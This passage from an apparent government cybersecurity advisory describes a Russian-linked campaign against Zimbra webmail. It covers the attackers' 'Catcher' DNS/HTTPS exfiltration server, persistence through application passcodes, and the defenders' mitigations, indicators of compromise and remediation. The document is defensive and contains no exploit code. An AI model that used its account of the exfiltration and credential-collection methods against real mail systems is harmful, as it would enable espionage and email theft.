<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
